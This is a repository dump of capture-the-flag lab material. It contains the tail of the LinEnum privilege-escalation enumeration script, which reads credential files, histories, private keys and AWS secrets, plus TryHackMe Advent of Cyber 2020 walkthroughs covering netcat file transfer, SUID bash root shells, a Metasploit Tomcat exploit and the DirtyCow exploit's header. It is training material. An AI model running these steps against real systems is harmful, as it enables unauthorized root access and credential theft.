if [ "$systemdread" ]; then
  echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread"
  echo -e "\n"
fi

# systemd files not belonging to root
systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$systemdperms" ]; then
   echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms"
   echo -e "\n"
fi
}

software_configs()
{
echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 

#sudo version - check to see if there are any known vulnerabilities with this
sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
if [ "$sudover" ]; then
  echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 
  echo -e "\n"
fi

#mysql details - if installed
mysqlver=`mysql --version 2>/dev/null`
if [ "$mysqlver" ]; then
  echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 
  echo -e "\n"
fi

#checks to see if root/root will get us a connection
mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null`
if [ "$mysqlconnect" ]; then
  echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 
  echo -e "\n"
fi

#mysql version details
mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null`
if [ "$mysqlconnectnopass" ]; then
  echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 
  echo -e "\n"
fi

#postgres details - if installed
postgver=`psql -V 2>/dev/null`
if [ "$postgver" ]; then
  echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 
  echo -e "\n"
fi

#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
postcon1=`psql -U postgres -w template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon1" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 
  echo -e "\n"
fi

postcon11=`psql -U postgres -w template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon11" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 
  echo -e "\n"
fi

postcon2=`psql -U pgsql -w template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon2" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 
  echo -e "\n"
fi

postcon22=`psql -U pgsql -w template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon22" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 
  echo -e "\n"
fi

#apache details - if installed
apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null`
if [ "$apachever" ]; then
  echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 
  echo -e "\n"
fi

#what account is apache running under
apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null`
if [ "$apacheusr" ]; then
  echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$apacheusr" ]; then
  mkdir --parents $format/etc-export/apache2/ 2>/dev/null
  cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null
fi

#installed apache modules
apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null`
if [ "$apachemodules" ]; then
  echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 
  echo -e "\n"
fi

#htpasswd check
htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null`
if [ "$htpasswd" ]; then
    echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd"
    echo -e "\n"
fi

#anything in the default http home dirs (a thorough only check as output can be large)
if [ "$thorough" = "1" ]; then
  apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null`
  if [ "$apachehomedirs" ]; then
    echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 
    echo -e "\n"
  fi
fi

}

interesting_files()
{
echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 

#checks to see if various files are installed
echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 
echo -e "\n" 

#limited search for installed compilers
compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`
if [ "$compiler" ]; then
  echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 
  echo -e "\n"
fi

#manual check - lists out sensitive files, can we read/modify etc.
echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 
echo -e "\n" 

#search for suid files
allsuid=`find / -perm -4000 -type f 2>/dev/null`
findsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$findsuid" ]; then
  echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$findsuid" ]; then
  mkdir $format/suid-files/ 2>/dev/null
  for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null
fi

#list of 'interesting' suid files - feel free to make additions
intsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$intsuid" ]; then
  echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 
  echo -e "\n"
fi

#lists world-writable suid files
wwsuid=`find $allsuid -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsuid" ]; then
  echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 
  echo -e "\n"
fi

#lists world-writable suid files owned by root
wwsuidrt=`find $allsuid -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsuidrt" ]; then
  echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 
  echo -e "\n"
fi

#search for sgid files
allsgid=`find / -perm -2000 -type f 2>/dev/null`
findsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$findsgid" ]; then
  echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$findsgid" ]; then
  mkdir $format/sgid-files/ 2>/dev/null
  for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null
fi

#list of 'interesting' sgid files
intsgid=`find $allsgid -perm -2000 -type f  -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$intsgid" ]; then
  echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 
  echo -e "\n"
fi

#lists world-writable sgid files
wwsgid=`find $allsgid -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsgid" ]; then
  echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 
  echo -e "\n"
fi

#lists world-writable sgid files owned by root
wwsgidrt=`find $allsgid -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
if [ "$wwsgidrt" ]; then
  echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 
  echo -e "\n"
fi

#list all files with POSIX capabilities set along with there capabilities
fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null`
if [ "$fileswithcaps" ]; then
  echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps"
  echo -e "\n"
fi

if [ "$export" ] && [ "$fileswithcaps" ]; then
  mkdir $format/files_with_capabilities/ 2>/dev/null
  for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null
fi

#searches /etc/security/capability.conf for users associated capapilies
userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null`
if [ "$userswithcaps" ]; then
  echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps"
  echo -e "\n"
fi

if [ "$userswithcaps" ] ; then
#matches the capabilities found associated with users with the current user
matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null`
	if [ "$matchedcaps" ]; then
		echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps"
		echo -e "\n"
		#matches the files with capapbilities with capabilities associated with the current user
		matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null`
		if [ "$matchedfiles" ]; then
			echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles"
			echo -e "\n"
			#lists the permissions of the files having the same capabilies associated with the current user
			matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null`
			echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms"
			echo -e "\n"
			if [ "$matchedfilesperms" ]; then
				#checks if any of the files with same capabilities associated with the current user is writable
				writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null`
				if [ "$writablematchedfiles" ]; then
					echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles"
					echo -e "\n"
				fi
			fi
		fi
	fi
fi

#look for private keys - thanks djhohnstein
if [ "$thorough" = "1" ]; then
privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null`
	if [ "$privatekeyfiles" ]; then
  		echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles"
  		echo -e "\n"
	fi
fi

#look for AWS keys - thanks djhohnstein
if [ "$thorough" = "1" ]; then
awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null`
	if [ "$awskeyfiles" ]; then
  		echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles"
  		echo -e "\n"
	fi
fi

#look for git credential files - thanks djhohnstein
if [ "$thorough" = "1" ]; then
gitcredfiles=`find / -name ".git-credentials" 2>/dev/null`
	if [ "$gitcredfiles" ]; then
  		echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles"
  		echo -e "\n"
	fi
fi

#list all world-writable files excluding /proc and /sys
if [ "$thorough" = "1" ]; then
wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;`
	if [ "$wwfiles" ]; then
		echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 
		echo -e "\n"
	fi
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$wwfiles" ]; then
		mkdir $format/ww-files/ 2>/dev/null
		for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null
	fi
fi

#are any .plan files accessible in /home (could contain useful information)
usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$usrplan" ]; then
  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$usrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
fi

bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$bsdusrplan" ]; then
  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$bsdusrplan" ]; then
  mkdir $format/plan_files/ 2>/dev/null
  for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
fi

#are there any .rhosts files accessible - these may allow us to login as another user etc.
rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostsusr" ]; then
  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$rhostsusr" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$bsdrhostsusr" ]; then
  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$bsdrhostsusr" ]; then
  mkdir $format/rhosts 2>/dev/null
  for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
if [ "$rhostssys" ]; then
  echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$rhostssys" ]; then
  mkdir $format/rhosts/ 2>/dev/null
  for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null
fi

#list nfs shares/permisisons etc.
nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`
if [ "$nfsexports" ]; then
  echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$nfsexports" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/exports $format/etc-export/exports 2>/dev/null
fi

if [ "$thorough" = "1" ]; then
  #phackt
  #displaying /etc/fstab
  fstab=`cat /etc/fstab 2>/dev/null`
  if [ "$fstab" ]; then
    echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m"
    echo -e "$fstab"
    echo -e "\n"
  fi
fi

#looking for credentials in /etc/fstab
fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null`
if [ "$fstab" ]; then
  echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab"
  echo -e "\n"
fi

if [ "$export" ] && [ "$fstab" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
fi

fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null`
if [ "$fstabcred" ]; then
    echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 
    echo -e "\n"
fi

if [ "$export" ] && [ "$fstabcred" ]; then
  mkdir $format/etc-exports/ 2>/dev/null
  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
fi

#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ]; then
  echo -e "[-] Can't search *.conf files as no keyword was entered\n" 
  else
    confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$confkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 
      echo -e "\n" 
     else 
	echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 
	echo -e "'$keyword' not found in any .conf files" 
	echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ]; then
  :
  else
    if [ "$export" ] && [ "$confkey" ]; then
	  confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null
      for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ]; then
  echo -e "[-] Can't search *.php files as no keyword was entered\n" 
  else
    phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$phpkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 
      echo -e "\n" 
     else 
  echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 
  echo -e "'$keyword' not found in any .php files" 
  echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ]; then
  :
  else
    if [ "$export" ] && [ "$phpkey" ]; then
    phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null
      for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "[-] Can't search *.log files as no keyword was entered\n" 
  else
    logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$logkey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 
      echo -e "\n" 
     else 
	echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 
	echo -e "'$keyword' not found in any .log files"
	echo -e "\n" 
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$logkey" ]; then
      logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
	  mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null
      for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null
  fi
fi

#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located
if [ "$keyword" = "" ];then
  echo -e "[-] Can't search *.ini files as no keyword was entered\n" 
  else
    inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
    if [ "$inikey" ]; then
      echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 
      echo -e "\n" 
     else 
	echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 
	echo -e "'$keyword' not found in any .ini files" 
	echo -e "\n"
    fi
fi

if [ "$keyword" = "" ];then
  :
  else
    if [ "$export" ] && [ "$inikey" ]; then
	  inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
      mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null
      for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null
  fi
fi

#quick extract of .conf files from /etc - only 1 level
allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null`
if [ "$allconf" ]; then
  echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$allconf" ]; then
  mkdir $format/conf-files/ 2>/dev/null
  for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null
fi

#extract any user history files that are accessible
usrhist=`ls -la ~/.*_history 2>/dev/null`
if [ "$usrhist" ]; then
  echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$usrhist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null
fi

#can we read roots *_history files - could be passwords stored etc.
roothist=`ls -la /root/.*_history 2>/dev/null`
if [ "$roothist" ]; then
  echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$roothist" ]; then
  mkdir $format/history_files/ 2>/dev/null
  cp $roothist $format/history_files/ 2>/dev/null
fi

#all accessible .bash_history files in /home
checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;`
if [ "$checkbashhist" ]; then
  echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist"
  echo -e "\n"
fi

#any .bak files that may be of interest
bakfiles=`find / -name *.bak -type f 2</dev/null`
if [ "$bakfiles" ]; then
  echo -e "\e[00;31m[-] Location and Permissions (if accessible) of .bak file(s):\e[00m"
  for bak in `echo $bakfiles`; do ls -la $bak;done
  echo -e "\n"
fi

#is there any mail accessible
readmail=`ls -la /var/mail 2>/dev/null`
if [ "$readmail" ]; then
  echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 
  echo -e "\n"
fi

#can we read roots mail
readmailroot=`head /var/mail/root 2>/dev/null`
if [ "$readmailroot" ]; then
  echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readmailroot" ]; then
  mkdir $format/mail-from-root/ 2>/dev/null
  cp $readmailroot $format/mail-from-root/ 2>/dev/null
fi
}

docker_checks()
{

#specific checks - check to see if we're in a docker container
dockercontainer=` grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`
if [ "$dockercontainer" ]; then
  echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 
  echo -e "\n"
fi

#specific checks - check to see if we're a docker host
dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null`
if [ "$dockerhost" ]; then
  echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 
  echo -e "\n"
fi

#specific checks - are we a member of the docker group
dockergrp=`id | grep -i docker 2>/dev/null`
if [ "$dockergrp" ]; then
  echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 
  echo -e "\n"
fi

#specific checks - are there any docker files present
dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;`
if [ "$dockerfiles" ]; then
  echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 
  echo -e "\n"
fi

#specific checks - are there any docker files present
dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;`
if [ "$dockeryml" ]; then
  echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 
  echo -e "\n"
fi
}

lxc_container_checks()
{

#specific checks - are we in an lxd/lxc container
lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`
if [ "$lxccontainer" ]; then
  echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer"
  echo -e "\n"
fi

#specific checks - are we a member of the lxd group
lxdgroup=`id | grep -i lxd 2>/dev/null`
if [ "$lxdgroup" ]; then
  echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup"
  echo -e "\n"
fi
}

footer()
{
echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 
}

call_each()
{
  header
  debug_info
  system_info
  user_info
  environmental_info
  job_info
  networking_info
  services_info
  software_configs
  interesting_files
  docker_checks
  lxc_container_checks
  footer
}

while getopts "h:k:r:e:st" option; do
 case "${option}" in
    k) keyword=${OPTARG};;
    r) report=${OPTARG}"-"`date +"%d-%m-%y"`;;
    e) export=${OPTARG};;
    s) sudopass=1;;
    t) thorough=1;;
    h) usage; exit;;
    *) usage; exit;;
 esac
done

call_each | tee -a $report 2> /dev/null
#EndOfScript


================================================
FILE: Advent-of-Cyber-2020/Day-11-The_Rogue_Gnome/README.md
================================================
# The Rogue Gnome

Before we begin, we're going to need to deploy two Instances:

	1. The THM AttackBox by pressing the "Start AttackBox" button at the top-right of the page.
	2. The vulnerable Instance attached to this task by pressing the "Deploy" button at the top-right of this task/day.

- What type of privilege escalation involves using a user account to execute commands as an administrator?

	- `vertical`

- What is the name of the file that contains a list of users who are a part of the sudo group?


	- `sudoers`

- Use SSH to log in to the vulnerable machine like so: ssh cmnatic@MACHINE_IP
Input the following password when prompted: aoc2020

	no answer needed

- Enumerate the machine for executables that have had the SUID permission set. Look at the output and use a mixture of GTFObins and your researching skills to learn how to exploit this binary.
You may find uploading some of the enumeration scripts that were used during today's task to be useful.

	no answer needed

	- On your machine `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
	- `nc -lvnp 4444 < linEnum.sh`
	- On target `nc -w 3 <YOUR_IP> 4444 > linEnum.sh`
	- On target `chmod +x && ./linEnum.sh`
	- We can see there is `/bin/bash`. Good.
	- This could be done also with `find / -perm -u=s -type f 2>/dev/null`
	- On target `bash -p`
	- `cat /root/flag.txt`

- Use this executable to launch a system shell as root.
What are the contents of the file located at /root/flag.txt?

	- `thm{*****************}`





## see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-12-Ready,_set,_elf./README.md
================================================
# Ready, set, elf.


- What is the version number of the web server?

	- `nmap -sV <TARGET_IP>` (Remember, if it says "host seems down", use `-Pn`, look for what it means)
	- `9.0.17`

- What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)

	- `msfconsole`
	- `search tomcat 9`
	- It outputs `exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10`. googling then...
	- `CVE-2019-0232`

- Set your Metasploit settings appropriately and gain a foothold onto the deployed machine.

	  no answer needed

	- after search, It should outputs only one exploit, anyway use `use 0` if the output is only one, or the appropriate number
	- `set RHOSTS <TARGET_IP>`
	- `set RPORT 8080`
	- `set LHOST <YOUR_IP>`
	- `set targeturi /cgi-bin/elfwhacker.bat`
	- `run` or `exploit`

- What are the contents of flag1.txt?

	- `cat flag1.txt`
	- `thm{********_***_***_*****}`

- Looking for a challenge? Try to find out some of the vulnerabilities present to escalate your privileges!

	  no answer needed





================================================
FILE: Advent-of-Cyber-2020/Day-13-Coal_for_Christmas/README.md
================================================
# Coal for Christmas

- Hi Santa, hop in your sleigh and deploy this machine!

	  no answer needed

- nmap <TARGET_IP>

	  no answer needed

	- `nmap <TARGET_IP>`

- What old, deprecated protocol and service is running?

	- `telnet`

- What credential was left for you?

	- `telnet <TARGET_IP> 23`
	- `clauschristmas`

- What distribution of Linux and version number is this server running?

	- `uname -a`
	- `Ubuntu 12.04`

- Who got here first?

	- `cat cookies_and_milk.txt`
	- `grinch`

- This cookies_and_milk.txt file looks like a modified rendition of a DirtyCow exploit, usually written in C. Find a copy of that original file online, and get it on the target box. You can do this with some simple file transfer methods like netcat, or spinning up a quick Python HTTP server... or you can simply copy-and-paste it into a text editor on the box!

	  no answer needed

	- [dirtycow](https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c)
	- On your machine `nc -lnvp 4444 < dirty.c`
	- On target `nc -w 3 <YOUR_IP> 4444 > dirty.c`
	
- What is the verbatim syntax you can use to compile, taken from the real C source code comments?

	- `gcc -pthread dirty.c -o dirty -lcrypt`

- Run the commands to compile the exploit, and run it.
What "new" username was created, with the default operations of the real C source code?

	- `./dirty` and then enter the password you've chosen
	- `firefart`

- What is the MD5 hash output?

	- `cat message_from_the_grinch.txt`
	- `touch coal`
	- `tree | md5sum`
	- `********************************`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-13-Coal_for_Christmas/dirty.c
================================================
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
